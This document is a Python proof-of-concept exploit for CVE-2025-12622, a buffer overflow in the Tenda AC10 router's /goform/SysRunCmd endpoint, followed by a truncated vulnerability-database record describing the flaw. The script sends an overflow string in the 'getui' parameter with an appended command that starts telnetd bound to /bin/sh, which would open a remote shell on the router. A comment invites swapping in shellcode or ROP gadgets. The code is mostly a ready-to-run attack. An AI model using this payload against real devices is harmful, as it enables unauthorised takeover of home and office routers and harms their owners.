CVE-2025-12622

import requests # CVE-2025-12622 PoC - Tenda AC10 Buffer Overflow in /goform/SysRunCmd # Target: Tenda AC10 router with firmware 16.03.10.13 TARGET_IP = "192.168.0.1" # Default router IP TARGET_PORT = 80 PAYLOAD_SIZE = 1000 # Overflow payload size def exploit_cve_2025_12622(): """ Exploit for CVE-2025-12622 The vulnerability exists in formSysRunCmd function at /goform/SysRunCmd The getui parameter is vulnerable to buffer overflow """ target_url = f"http://{TARGET_IP}:{TARGET_PORT}/goform/SysRunCmd" # Construct malicious payload for buffer overflow # This payload should overflow the buffer in getui parameter overflow_payload = "A" * PAYLOAD_SIZE # For actual exploitation, replace with shellcode or ROP gadgets # Example command injection after overflow: cmd_payload = "telnetd -p 8888 -l /bin/sh" data = { "getui": overflow_payload + cmd_payload, "cmd": "ls" } try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-12622 PoC - Tenda AC10 Buffer Overflow") exploit_cve_2025_12622()

{"cve": {"id": "CVE-2025-12622", "sourceIdentifier": "[email protected]", "published": "2025-11-03T08:15:33.640", "lastModified": "2025-11-05T14:34:51.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Tenda AC10 16.03.10.13. Affected by this vulnerability is the function formSysRunCmd of the file /goform/SysRunCmd. This manipulation of the argument getui causes buffer overflow. The attack may be initiated remotely. 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